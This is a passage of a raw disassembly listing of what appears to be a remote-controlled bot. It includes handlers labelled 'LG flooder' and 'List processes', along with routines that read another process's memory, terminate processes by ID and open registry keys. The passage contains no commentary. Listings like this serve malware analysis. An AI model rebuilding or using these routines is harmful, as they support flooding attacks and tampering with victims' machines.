		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2ADh], eax
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2B1h], eax
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2B5h], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+2B1h], 0EA60h
		jge	short loc_405F0E
		mov	eax, [ebp+var_4]
		mov	eax, [eax+2B1h]
		mov	[ebp+var_8], eax
		jmp	short loc_405F15
; ---------------------------------------------------------------------------


loc_405F0E:				; CODE XREF: sub_405E45+B9j
		mov	[ebp+var_8], 0EA60h


loc_405F15:				; CODE XREF: sub_405E45+C7j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+2B1h], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+2B1h], 64h
		jle	short loc_405F3B
		mov	eax, [ebp+var_4]
		mov	eax, [eax+2B1h]
		mov	[ebp+var_C], eax
		jmp	short loc_405F42
; ---------------------------------------------------------------------------


loc_405F3B:				; CODE XREF: sub_405E45+E6j
		mov	[ebp+var_C], 64h


loc_405F42:				; CODE XREF: sub_405E45+F4j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		mov	[eax+2B1h], ecx
		push	offset aLgFlooder ; "LG	flooder"
		push	0
		push	[ebp+var_4]
		push	offset loc_4055E5
		call	sub_4095A4
		add	esp, 10h

locret_405F65:				; CODE XREF: sub_405E45:loc_405E5Dj
					; sub_405E45+31j
		leave
		retn
sub_405E45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F67	proc near		; CODE XREF: sub_4017AA+6Ep
					; sub_401D6E+77p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jnz	short loc_405F8E
		push	1A3h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax+198h], 1
		jmp	short loc_405FA1
; ---------------------------------------------------------------------------


loc_405F8E:				; CODE XREF: sub_405F67+7j
		push	1A3h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch


loc_405FA1:				; CODE XREF: sub_405F67+25j
		pop	ebp
		retn
sub_405F67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405FA3	proc near		; CODE XREF: cAddress:004168C1p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset dword_41E280
		call	sub_409C36
		pop	ecx
		push	offset aPsapi_dll ; "psapi.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_405FC8
		jmp	short locret_40603F
; ---------------------------------------------------------------------------


loc_405FC8:				; CODE XREF: sub_405FA3+21j
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E27C, eax
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E270, eax
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E274, eax
		push	offset aGetmoduleinfor ; "GetModuleInformation"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E278, eax
		cmp	dword_41E27C, 0
		jz	short locret_40603F
		cmp	dword_41E270, 0
		jz	short locret_40603F
		cmp	dword_41E274, 0
		jz	short locret_40603F
		cmp	dword_41E278, 0
		jz	short locret_40603F
		mov	byte_41E29C, 1

locret_40603F:				; CODE XREF: sub_405FA3+23j
					; sub_405FA3+78j ...
		leave
		retn
sub_405FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406041	proc near		; CODE XREF: cAddress:loc_40129Dp
					; cAddress:004063A5p

var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_12B		= byte ptr -12Bh
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		push	esi
		push	edi
		push	offset dword_41E280
		call	sub_409C6C
		pop	ecx
		movzx	eax, byte_41E29C
		test	eax, eax
		jnz	short loc_406074
		push	offset dword_41E280
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	loc_40636A
; ---------------------------------------------------------------------------


loc_406074:				; CODE XREF: sub_406041+1Fj
		and	[ebp+var_C], 0
		and	[ebp+var_4], 0
		and	[ebp+var_1C], 0
		push	[ebp+var_1C]
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_406097
		jmp	loc_406368
; ---------------------------------------------------------------------------


loc_406097:				; CODE XREF: sub_406041+4Fj
					; sub_406041:loc_4060E9j
		mov	eax, [ebp+var_1C]
		add	eax, 80h
		mov	[ebp+var_1C], eax
		push	[ebp+var_1C]
		push	[ebp+var_14]
		call	sub_416BF6	; realloc
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4060BD
		jmp	loc_406366
; ---------------------------------------------------------------------------


loc_4060BD:				; CODE XREF: sub_406041+75j
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_1C]
		push	[ebp+var_14]
		call	dword_41E27C
		test	eax, eax
		jnz	short loc_4060DF
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_406364
; ---------------------------------------------------------------------------


loc_4060DF:				; CODE XREF: sub_406041+8Ej
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1C]
		jnb	short loc_4060E9
		jmp	short loc_4060EB
; ---------------------------------------------------------------------------


loc_4060E9:				; CODE XREF: sub_406041+A4j
		jmp	short loc_406097
; ---------------------------------------------------------------------------


loc_4060EB:				; CODE XREF: sub_406041+A6j
		mov	eax, [ebp+var_4]
		shr	eax, 2
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		imul	eax, 114h
		add	eax, 8
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_40611E
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_406362
; ---------------------------------------------------------------------------


loc_40611E:				; CODE XREF: sub_406041+CDj
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	eax, [ebp+var_C]
		add	eax, 8
		mov	ecx, [ebp+var_C]
		mov	[ecx+4], eax
		and	[ebp+var_10], 0
		jmp	short loc_40613F
; ---------------------------------------------------------------------------


loc_406138:				; CODE XREF: sub_406041+156j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_40613F:				; CODE XREF: sub_406041+F5j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_8]
		jnb	short loc_406199
		push	114h
		push	0
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	edx, [esi+edx*4]
		mov	[ecx+eax], edx
		push	offset aSystem	; "system"
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_406138
; ---------------------------------------------------------------------------


loc_406199:				; CODE XREF: sub_406041+104j
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		and	[ebp+var_10], 0
		jmp	short loc_4061AF
; ---------------------------------------------------------------------------


loc_4061A8:				; CODE XREF: sub_406041+1A8j
					; sub_406041+1D8j ...
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_4061AF:				; CODE XREF: sub_406041+165j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_8]
		jnb	loc_406343
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	0
		push	410h
		call	dword_417094	; OpenProcess
		mov	[ebp+var_130], eax
		cmp	[ebp+var_130], 0
		jnz	short loc_4061EB
		jmp	short loc_4061A8
; ---------------------------------------------------------------------------


loc_4061EB:				; CODE XREF: sub_406041+1A6j
		and	[ebp+var_20], 0
		and	[ebp+var_28], 0
		lea	eax, [ebp+var_20]
		push	eax
		push	4
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_130]
		call	dword_41E270
		test	eax, eax
		jnz	short loc_40621B
		push	[ebp+var_130]
		call	dword_4170A4	; CloseHandle
		jmp	short loc_4061A8
; ---------------------------------------------------------------------------


loc_40621B:				; CODE XREF: sub_406041+1CAj
		push	0Ch
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_28]
		push	[ebp+var_130]
		call	dword_41E278
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_13C]
		mov	[ecx+eax+4], edx
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_138]
		mov	[ecx+eax+8], edx
		mov	al, byte_41DE00
		mov	[ebp+var_12C], al
		push	40h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_12B]
		rep stosd
		stosw
		stosb
		push	104h
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_13C]
		push	[ebp+var_130]
		call	dword_41E274
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	loc_406332
		movsx	eax, [ebp+var_12C]
		test	eax, eax
		jz	short loc_406332
		push	104h
		lea	eax, [ebp+var_12C]
		push	eax
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		lea	eax, [ebp+var_12C]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_18], eax
		jmp	short loc_4062F7
; ---------------------------------------------------------------------------


loc_4062F0:				; CODE XREF: sub_406041:loc_406330j
		mov	eax, [ebp+var_18]
		dec	eax
		mov	[ebp+var_18], eax


loc_4062F7:				; CODE XREF: sub_406041+2ADj
		cmp	[ebp+var_18], 0
		jz	short loc_406332
		cmp	[ebp+var_18], 1
		ja	short loc_406305
		jmp	short loc_406332
; ---------------------------------------------------------------------------


loc_406305:				; CODE XREF: sub_406041+2C0j
		mov	eax, [ebp+var_18]
		movsx	eax, byte ptr [ebp+eax+var_130+3]
		cmp	eax, 5Ch
		jnz	short loc_406330
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_18]
		mov	[ecx+eax+110h],	edx
		jmp	short loc_406332
; ---------------------------------------------------------------------------


loc_406330:				; CODE XREF: sub_406041+2D2j
		jmp	short loc_4062F0
; ---------------------------------------------------------------------------


loc_406332:				; CODE XREF: sub_406041+264j
					; sub_406041+273j ...
		push	[ebp+var_130]
		call	dword_4170A4	; CloseHandle
		jmp	loc_4061A8
; ---------------------------------------------------------------------------


loc_406343:				; CODE XREF: sub_406041+174j
		push	offset dword_41E280
		call	sub_409C7A
		pop	ecx
		mov	eax, [ebp+var_C]
		jmp	short loc_40636A
; ---------------------------------------------------------------------------


loc_406353:				; CODE XREF: sub_406041:loc_406362j
					; sub_406041:loc_406364j ...
		push	offset dword_41E280
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	short loc_40636A
; ---------------------------------------------------------------------------


loc_406362:				; CODE XREF: sub_406041+D8j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406364:				; CODE XREF: sub_406041+99j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406366:				; CODE XREF: sub_406041+77j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406368:				; CODE XREF: sub_406041+51j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_40636A:				; CODE XREF: sub_406041+2Ej
					; sub_406041+310j ...
		pop	edi
		pop	esi
		leave
		retn
sub_406041	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40636E	proc near		; CODE XREF: cAddress:00401716p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		pop	ebp
		retn
sub_40636E	endp

; ---------------------------------------------------------------------------


loc_40637C:				; DATA XREF: sub_4064BF+3Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	1A7h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-1A8h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_406041
		mov	[ebp-1ACh], eax
		cmp	dword ptr [ebp-1ACh], 0
		jz	loc_4064AD
		mov	eax, [ebp-1ACh]
		push	dword ptr [eax]
		mov	eax, [ebp-1A8h]
		push	dword ptr [eax]
		push	offset dword_418B1C
		lea	eax, [ebp-1A4h]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		and	dword ptr [ebp-1B0h], 0
		jmp	short loc_4063F7
; ---------------------------------------------------------------------------


loc_4063EA:				; CODE XREF: cAddress:loc_40649Cj
		mov	eax, [ebp-1B0h]
		inc	eax
		mov	[ebp-1B0h], eax


loc_4063F7:				; CODE XREF: cAddress:004063E8j
		mov	eax, [ebp-1ACh]
		mov	ecx, [ebp-1B0h]
		cmp	ecx, [eax]
		jge	loc_4064A1
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp-1B0h]
		imul	eax, 114h
		mov	ecx, [ebp-1ACh]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		mov	eax, [ebp-1B0h]
		imul	eax, 114h
		mov	ecx, [ebp-1ACh]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax+8]
		mov	eax, [ebp-1B0h]
		imul	eax, 114h
		mov	ecx, [ebp-1ACh]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax+4]
		mov	eax, [ebp-1B0h]
		imul	eax, 114h
		mov	ecx, [ebp-1ACh]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	offset dword_418B04
		lea	eax, [ebp-1A4h]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		mov	eax, [ebp-1A8h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40649C
		jmp	short loc_4064A1
; ---------------------------------------------------------------------------


loc_40649C:				; CODE XREF: cAddress:00406498j
		jmp	loc_4063EA
; ---------------------------------------------------------------------------


loc_4064A1:				; CODE XREF: cAddress:00406405j
					; cAddress:0040649Aj
		push	dword ptr [ebp-1ACh]
		call	sub_416B4C	; free
		pop	ecx


loc_4064AD:				; CODE XREF: cAddress:004063B7j
		push	dword ptr [ebp-1A8h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4064BF	proc near		; CODE XREF: sub_40A9CF+3FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4064D9
		jmp	short locret_406507
; ---------------------------------------------------------------------------


loc_4064D9:				; CODE XREF: sub_4064BF+16j
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	offset aListProcesses ;	"List processes"
		push	0
		push	[ebp+var_4]
		push	offset loc_40637C
		call	sub_4095A4
		add	esp, 10h

locret_406507:				; CODE XREF: sub_4064BF+18j
		leave
		retn
sub_4064BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406509	proc near		; CODE XREF: sub_40A9CF+9C9p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	[ebp+arg_4], 0
		jz	short loc_40651B
		cmp	[ebp+arg_C], 0
		jnz	short loc_406520


loc_40651B:				; CODE XREF: sub_406509+Aj
		jmp	locret_406641
; ---------------------------------------------------------------------------


loc_406520:				; CODE XREF: sub_406509+10j
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		push	[ebp+arg_8]
		call	sub_40A8AD
		pop	ecx
		mov	[ebp+var_C], eax
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 180h
		jbe	short loc_406554
		mov	[ebp+var_4], 180h


loc_406554:				; CODE XREF: sub_406509+42j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_1C], eax
		push	[ebp+var_8]
		push	0
		push	10h
		call	dword_417094	; OpenProcess
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_406586
		push	[ebp+var_1C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	locret_406641
; ---------------------------------------------------------------------------


loc_406586:				; CODE XREF: sub_406509+6Dj
		and	[ebp+var_14], 0
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_1C]
		push	[ebp+var_C]
		push	[ebp+var_18]
		call	dword_417098	; ReadProcessMemory
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	loc_40662F
		cmp	[ebp+var_14], 0
		jz	short loc_40662F
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		and	[ebp+var_20], 0
		jmp	short loc_4065C9
; ---------------------------------------------------------------------------


loc_4065C2:				; CODE XREF: sub_406509:loc_406620j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_4065C9:				; CODE XREF: sub_406509+B7j
		mov	eax, [ebp+var_20]
		cmp	eax, [ebp+var_14]
		jnb	short loc_406622
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1Fh
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 16h
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 10h
		jg	short loc_406620


loc_406617:				; CODE XREF: sub_406509+D4j
					; sub_406509+E2j ...
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		mov	byte ptr [eax],	2Eh


loc_406620:				; CODE XREF: sub_406509+10Cj
		jmp	short loc_4065C2
; ---------------------------------------------------------------------------


loc_406622:				; CODE XREF: sub_406509+C6j
		push	[ebp+var_1C]
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx


loc_40662F:				; CODE XREF: sub_406509+9Ej
					; sub_406509+A8j
		push	[ebp+var_1C]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_18]
		call	dword_4170A4	; CloseHandle

locret_406641:				; CODE XREF: sub_406509:loc_40651Bj
					; sub_406509+78j
		leave
		retn
sub_406509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406643	proc near		; CODE XREF: sub_40A9CF+3D7p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_406650
		jmp	short locret_40668D
; ---------------------------------------------------------------------------


loc_406650:				; CODE XREF: sub_406643+9j
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		call	dword_4170E8	; GetCurrentProcessId
		cmp	[ebp+var_4], eax
		jnz	short loc_406669
		jmp	short locret_40668D
; ---------------------------------------------------------------------------


loc_406669:				; CODE XREF: sub_406643+22j
		push	[ebp+var_4]
		push	0
		push	1
		call	dword_417094	; OpenProcess
		mov	[ebp+var_8], eax
		push	0
		push	[ebp+var_8]
		call	dword_4170A0	; TerminateProcess
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle

locret_40668D:				; CODE XREF: sub_406643+Bj
					; sub_406643+24j
		leave
		retn
sub_406643	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40668F	proc near		; CODE XREF: cAddress:00403F3Cp
					; sub_40A9CF+BDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_4066A0
; ---------------------------------------------------------------------------


loc_406699:				; CODE XREF: sub_40668F+2Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066A0:				; CODE XREF: sub_40668F+8j
		cmp	[ebp+var_4], 8
		jge	short loc_4066BB
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_406699
; ---------------------------------------------------------------------------


loc_4066BB:				; CODE XREF: sub_40668F+15j
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+8], 0
		and	[ebp+var_4], 0
		jmp	short loc_4066CF
; ---------------------------------------------------------------------------


loc_4066C8:				; CODE XREF: sub_40668F+59j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066CF:				; CODE XREF: sub_40668F+37j
		cmp	[ebp+var_4], 6
		jge	short loc_4066EA
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4066C8
; ---------------------------------------------------------------------------


loc_4066EA:				; CODE XREF: sub_40668F+44j
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax+6], 0
		and	[ebp+var_4], 0
		jmp	short loc_4066FE
; ---------------------------------------------------------------------------


loc_4066F7:				; CODE XREF: sub_40668F+88j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066FE:				; CODE XREF: sub_40668F+66j
		cmp	[ebp+var_4], 10h
		jge	short loc_406719
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4066F7
; ---------------------------------------------------------------------------


loc_406719:				; CODE XREF: sub_40668F+73j
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax+10h], 0
		leave
		retn
sub_40668F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406722	proc near		; CODE XREF: sub_40A9CF+F40p

var_424		= byte ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		cmp	[ebp+arg_4], 0
		jnz	short loc_406736
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406736:				; CODE XREF: sub_406722+Dj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+4]
		cmp	eax, 5Ch
		jz	short loc_406747
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406747:				; CODE XREF: sub_406722+1Ej
		push	4
		push	offset aHkcr	; "HKCR"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_406769
		mov	[ebp+var_218], 80000000h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_406769:				; CODE XREF: sub_406722+39j
		push	4
		push	offset aHkcu	; "HKCU"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40678B
		mov	[ebp+var_218], 80000001h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_40678B:				; CODE XREF: sub_406722+5Bj
		push	4
		push	offset aHklm	; "HKLM"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4067AD
		mov	[ebp+var_218], 80000002h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_4067AD:				; CODE XREF: sub_406722+7Dj
		push	4
		push	offset aHkus	; "HKUS"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4067CF
		mov	[ebp+var_218], 80000003h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_4067CF:				; CODE XREF: sub_406722+9Fj
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_4067D4:				; CODE XREF: sub_406722+45j
					; sub_406722+67j ...
		mov	eax, [ebp+arg_4]
		add	eax, 5
		mov	[ebp+arg_4], eax
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_210], eax
		jmp	short loc_4067FB
; ---------------------------------------------------------------------------


loc_4067EE:				; CODE XREF: sub_406722:loc_406858j
		mov	eax, [ebp+var_210]
		dec	eax
		mov	[ebp+var_210], eax


loc_4067FB:				; CODE XREF: sub_406722+CAj
		cmp	[ebp+var_210], 0
		jnz	short loc_406809
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406809:				; CODE XREF: sub_406722+E0j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_210]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jnz	short loc_406858
		mov	eax, [ebp+var_210]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 200h
		jb	short loc_40683A
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_40683A:				; CODE XREF: sub_406722+111j
		mov	eax, [ebp+var_210]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40685A
; ---------------------------------------------------------------------------


loc_406858:				; CODE XREF: sub_406722+F6j
		jmp	short loc_4067EE
; ---------------------------------------------------------------------------


loc_40685A:				; CODE XREF: sub_406722+134j
		cmp	[ebp+var_210], 200h
		jb	short loc_40686B
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_40686B:				; CODE XREF: sub_406722+142j
		push	[ebp+var_210]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_210]
		and	[ebp+eax+var_418], 0
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		push	0
		lea	eax, [ebp+var_418]
		push	eax
		push	[ebp+var_218]
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_4068B5
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_4068B5:				; CODE XREF: sub_406722+18Cj
		mov	[ebp+var_8], 1000h
		push	[ebp+var_8]
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_214], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_214]
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		push	[ebp+var_C]
